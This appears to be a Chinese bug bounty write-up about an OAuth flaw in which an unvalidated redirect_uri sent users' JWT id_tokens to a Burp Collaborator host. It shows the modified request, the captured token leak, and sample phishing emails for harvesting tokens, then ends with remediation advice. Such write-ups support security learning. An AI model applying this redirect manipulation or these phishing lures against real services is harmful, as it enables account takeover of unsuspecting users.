OAuth 实战漏洞分析:我如何通过修改 redirect_uri 直接窃取用户 JWT

46 阅读4分钟

官网:http://securitytech.cc/

OAuth 实战漏洞分析:我如何通过修改 redirect_uri 直接窃取用户 JWT

🔐 引言(Introduction)

在一次漏洞赏金测试中,我发现了一个严重的 OAuth 实现漏洞 —— 仅仅通过操控 redirect_uri 参数,我就能窃取用户的 JWT 认证令牌。

一个看似普通的 OAuth 流程测试,最终演变成:

任意已登录用户,只要点击攻击者精心构造的恶意链接,就会被完全接管账号。


我如何发现这个漏洞

第一步:信息收集(Recon)

我首先按照 BountyBuddy 的侦察步骤执行 (该平台提供高级漏洞赏金侦察清单)。

完成侦察后,我继续跟着 BountyBuddy 的流程测试 开放重定向(open redirect) 漏洞: recon.vulninsights.codes/


应用架构(The Application Architecture)

目标应用包含两个主域名:

  • app.domain.com — 主应用,包含用户认证
  • support.domain.com — 支持平台与集成的客服机器人

app.domain.com 中,点击“Support Ticket(工单)”按钮会触发 OAuth 流程,让用户登录支持平台。


漏洞挖掘过程(Discovery Process)

步骤 1:拦截 OAuth 流量

我点击“Support Ticket”,观察到一次 OAuth 重定向,于是用 Burp Suite Proxy 拦截到以下请求:

GET /account/freshworks/jwt/customer?
response_type=id_token&
client_id=3128979333002483118&
scope=openid%20email%20profile&
state=fwst_b0c44dcc410cb7fb50b19893d&
redirect_uri=https://support.domain.com/callback

步骤 2:测试 redirect_uri 参数

redirect_uri 引起了我的注意。

我把它改成 Google 测试是否有验证:

redirect_uri=https://google.com

结果:

应用显示"Login Successful!" 的成功页面,并出现跳转按钮,点击后确实跳去了 Google。

✔️ 漏洞存在:redirect_uri 没有限制!

但真正的危害还需要继续挖掘。


登录成功页面(图片已加载)

登录成功

点击 "Go to Support Portal" 按钮后:

跳转按钮


步骤 3:配置 Burp Collaborator

为了测试是否能窃取敏感数据(例如 token),我用自己的 Burp Collaborator 域名替换:

redirect_uri=https://1aciyh2llknkrci6hdujaj5twznndb2.oastify.com

步骤 4:关键发现(The Critical Discovery)

在 Burp Collaborator Client 中,我看到了——

DNS & HTTP 请求中包含完整的 JWT token!

👇(图片已加载)

JWT 泄露图

Collaborator 捕获到如下访问:

GET /?id_token=eyJzdG1iOiJ5UzI1NiI5...eyJ5dmMuY29t&
client_id=3128979333002483118&
state=fwst_b0c44dcc410cb7fb50b19893d

✔️ 整个 JWT 被发送到了攻击者控制的服务器!


为什么会发生这种漏洞(Why This Works)

依赖用户已登录状态

该漏洞只在受害者已经登录 app.domain.com 时触发。

这让攻击更真实、更致命:

  • 可针对活跃用户精准攻击
  • 登录状态下点击“支持工单”更正常
  • 难以在监控中被发现

核心技术缺陷

应用在多个地方出现严重错误:

  1. redirect_uri 没有校验

    • 任意外部域名都能被接受
  2. JWT 放在 URL 中

    • URL 会被日志、历史记录、代理、第三方系统收集
  3. 无来源校验(Origin validation)

  4. 重定向时自动向攻击者域名发送 JWT

这是 OAuth 中最经典、最危险的错误组合。


真实攻击场景(Real-World Attack Scenarios)

📌 场景 1:定向钓鱼攻击

攻击者发送伪造邮件:

From: support@domain.com (伪造)
Subject: 您的支持工单需要立即处理

正文:

尊敬的用户:
您的工单需要确认。
请点击此处查看:[恶意 OAuth URL]

谢谢,
Support Team

只要用户已登录 → JWT 立刻被盗


📌 场景 2:批量 Token 采集(Mass Token Harvesting)

攻击者发布一个伪造的“系统维护公告”,包含恶意 OAuth 链接:

  • 社交媒体
  • 论坛
  • 工单公告板

无数用户点击 → Token 全部被收集。


📌 场景 3:企业邮件入侵(BEC)

攻击者针对企业员工:

  • 伪造公司内部邮件
  • 发送“支持门户升级”通知
  • 多个员工的 JWT 被盗
  • 攻击者完全接管内部系统

关键安全要点(Key Takeaways)

  1. redirect_uri 必须严格校验
  2. JWT 永远不能出现在 URL 中
  3. 不要再用 Implicit Flow,应使用 Auth Code Flow + PKCE
  4. 必须在不同用户状态下测试漏洞
  5. Burp Collaborator 是发现敏感数据外泄的关键工具

结论(Conclusion)

一个简单的开放重定向测试,最终演变成了:

可完全接管任意用户账号的严重 OAuth 漏洞

通过 Burp Collaborator,我证明了漏洞不仅可以跳转用户,更能:

  • 直接窃取他们的 JWT
  • 获取完整账户权限

此漏洞已被负责任披露并修复。